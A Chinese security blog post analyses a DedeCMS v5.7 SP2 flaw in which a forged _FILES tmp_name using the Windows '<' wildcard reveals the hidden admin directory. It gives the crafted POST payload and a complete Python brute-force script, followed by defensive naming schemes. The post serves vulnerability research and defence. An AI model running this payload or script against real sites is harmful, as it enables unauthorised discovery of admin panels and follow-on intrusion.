dedecms利用通配符找后台目录及其防御方案 | LSABLOG

首页 » NetworkSec » Penetration » 正文

dedecms利用通配符找后台目录及其防御方案

0x00 概述

最近dedecms狂爆漏洞,但是找后台一直是个难点,如果不是默认后台或者字典不够强大,基本上就gg了,但是先知出了篇可以爆破dedecms后台的帖子,看了下是个好方法,本文依据此贴对此方法进行分析,并总结出针对此方法的防御方案。

方法来源:https://xianzhi.aliyun.com/forum/topic/2064

 

0x01 测试环境

dedecms v5.7 sp2

phpstudy

win7

 

0x02 原理

根据先知帖子的分析,有两个文件

\include\common.inc.php

include\uploadsafe.inc.php

先看看\include\common.inc.php:148

if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}

引入了uploadsafe.inc.php

再看到include\uploadsafe.inc.php:

<?php
if(!defined('DEDEINC')) exit('Request Error!');

if(isset($_FILES['GLOBALS'])) exit('Request not allow!');

//为了防止用户通过注入的可能性改动了数据库
//这里强制限定的某些文件类型禁止上传
$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";
$keyarr = array('name', 'type', 'tmp_name', 'size');
if ($GLOBALS['cfg_html_editor']=='ckeditor' && isset($_FILES['upload']))
{
    $_FILES['imgfile'] = $_FILES['upload'];
    $CKUpload = TRUE;
    unset($_FILES['upload']);
}
foreach($_FILES as $_key=>$_value)
{
    foreach($keyarr as $k)
    {
        if(!isset($_FILES[$_key][$k]))
        {
            exit('Request Error!');
        }
    }
    if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
    {
        exit('Request var not allow for uploadsafe!');
    }
    $$_key = $_FILES[$_key]['tmp_name'];
    ${$_key.'_name'} = $_FILES[$_key]['name'];
    ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
    ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
    if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
    {
        if(!defined('DEDEADMIN'))
        {
            exit('Not Admin Upload filetype not allow !');
        }
    }
    if(empty(${$_key.'_size'}))
    {
        ${$_key.'_size'} = @filesize($$_key);
    }
    
    $imtypes = array
    (
        "image/pjpeg", "image/jpeg", "image/gif", "image/png", 
        "image/xpng", "image/wbmp", "image/bmp"
    );

    if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
    {
        $image_dd = @getimagesize($$_key);
        if (!is_array($image_dd))
        {
            exit('Upload filetype not allow !');
        }
    }
}
?>

问题出现在

if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
    {
        $image_dd = @getimagesize($$_key);
        if (!is_array($image_dd))
        {
            exit('Upload filetype not allow !');
        }
}

这里获取上传的图片大小,如果没有就exit,有的话就会显示正常页面。

但是要到达这个地方必须过

 if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
    {
        if(!defined('DEDEADMIN'))
        {
            exit('Not Admin Upload filetype not allow !');
        }
    }

所以payload里_FILES[lsa][name]=0就可以绕过这个判断了,帖子里说还可以利用1.jpg含.也可以绕过,我觉得这个是使&&右边的条件为假。

所以构造payload:
dopost=save&_FILES[lsa][tmp_name]=./dee</images/admin_top_logo.gif&_FILES[lsa][name]=0&_FILES[lsa][size]=0&_FILES[lsa][type]=image/gif

 

测试默认后台dede:

所以只要找到包含\include\common.inc.php的文件就可以利用了,上面测试利用的是根目录下的tags.php,搜索下包含\include\common.inc.php的文件:

如果不找根目录的tags.php,则要修改payload的tmp_name的路径。

但是这个方法也有利用限制就是

  • 只能在windows下,因为利用到<通配符。
  • 后台下要有图片(这个可以说不算限制了……)

 

0x03 爆破脚本

#coding:utf-8
#Author:LSA
#Description:Brute dedecms background
#Date:20180303
#Version:v1.0



import itertools
import requests
import sys

timeout = 7


def bruteDedeBg(target):
    f0 = 0
    f1 = 0
    bg = ''
    chars = 'abcdefghijklmnopqrstuvwxyz0123456789_!+-='
    data = {
        "_FILES[lsa][tmp_name]" : "./{0}</images/admin_top_logo.gif",
            "_FILES[lsa][name]" : 0,
            "_FILES[lsa][size]" : 0,
            "_FILES[lsa][type]" : "image/gif"
    }

    for t in itertools.permutations(chars,2):
        if f0:
            break
        t = ''.join(t)
        data["_FILES[lsa][tmp_name]"] = data["_FILES[lsa][tmp_name]"].format(t)
        print 'Bruting first two chars: ' + t
        rsp = requests.post(url=target,data=data,timeout=timeout)
        if "Upload filetype not allow !" not in rsp.text and rsp.status_code==200:
            f0 = 1
            bg = t
            data["_FILES[lsa][tmp_name]"] = "./{0}</images/admin_top_logo.gif"
            print 'First two chars: ' + t
            break
        else:
            data["_FILES[lsa][tmp_name]"] = "./{0}</images/admin_top_logo.gif"
    
    if f0==0:   #爆破aa,dd,cc为前两个字符的情况
        for tt in chars:
            tt = tt + tt
            if f0:
                break
            data["_FILES[lsa][tmp_name]"] = data["_FILES[lsa][tmp_name]"].format(tt)
            print 'Bruting first two chars: ' + tt
            rsp2 = requests.post(url=target,data=data,timeout=timeout)
            if "Upload filetype not allow !" not in rsp2.text and rsp2.status_code==200:
                f0 = 1
                bg = tt
                data["_FILES[lsa][tmp_name]"] = "./{0}</images/admin_top_logo.gif"
                print 'First two chars: ' + tt
                break
            else:
                data["_FILES[lsa][tmp_name]"] = "./{0}</images/admin_top_logo.gif"
        
    if f0 == 0:
        print 'Can not brute the first two chars!'
        sys.exit(0) 
    
    for dedebgNum in range(1,254):
        if f1:
            break
        for c in chars:
            
            data["_FILES[lsa][tmp_name]"] = data["_FILES[lsa][tmp_name]"].format(bg+c)
            rsp1 = requests.post(url=target,data=data,timeout=timeout)
            if "Upload filetype not allow !" not in rsp1.text and rsp1.status_code==200:
                bg = bg + c
                print 'Bruting background: ' + bg
                data["_FILES[lsa][tmp_name]"] = "./{0}</images/admin_top_logo.gif"
                break
            else:
                data["_FILES[lsa][tmp_name]"] = "./{0}</images/admin_top_logo.gif"
            if c == '=':
                f1 = 1
                break
            
    print '************************'
    print 'Background is: ' + bg   #如果访问后不是后台,则可能是后台地址用了chars没有的字符或使用了防御方案
    print '************************'

if __name__=='__main__':
    target = raw_input('Please input the target: ')
    bruteDedeBg(target)
                
            


0x04 防御方案

针对这个通配符爆破后台地址的方法,本人总结出几种防御方案:

方案1:由于是利用<通配符,当后台是dede而同时存在data文件夹时,猜测d<时会引向data,所以爆破不出来,从而需要爆破前两位,从而产生了一种防御方案,就是后台如果是dexxxy,用脚本可以爆破

但是如果再新建个文件夹dexxxa,所有的爆破都会引到dexxxa,从而难以爆破,但是也是可以爆破的,就是像上述爆破两位字符那样,爆破这6个字符,这消耗是十分大的。

方案2:利用通配符<无法通配.字符,如后台目录改为de.de,利用通配符<将无法爆破。

这样可以构造如同abc.ggg.xxx.zzz的后台目录,攻击这若想爆破必须猜出abc.ggg.xxx.才能爆破出zzz,几乎不可能猜出。

但是利用通配符<<却可以通配到.字符。

方案3:利用空格,如后台目录改为abc def,这样利用<可以匹配空格,但也匹配了空格后的d字符,

所以可以在多个位置构造多个空字符来增加猜测难度,如abc  de   f。这样用脚本爆破出的是abcdef,需要猜空格位置和个数,几乎不可能猜出。

方案4:后台目录用一些冷门字符命名,如+,-,_等。

方案5:多级后台目录,如abc/xxx/dede,但是这样做需要修改后台相关文件,否则报错,比较麻烦,没有测试,所以这是一种可能的防御方案。

方案6:修改代码,这个看官方更新吧。

Ps:测试发现如果文件夹名有+,用_也可以匹配,反过来就不行,可能是通配符<和<<的特性。

 

0x05 结语

这个爆破后台的思路还是很厉害的,截止至发文时间,dedecms最新版还是dedecms v5.7 sp2,受影响的站应防御相关漏洞入侵。由于时间仓促,本文可能有错漏或不足,欢迎交流指正。

 

0x06 参考资料

https://xianzhi.aliyun.com/forum/topic/2064

 

Comment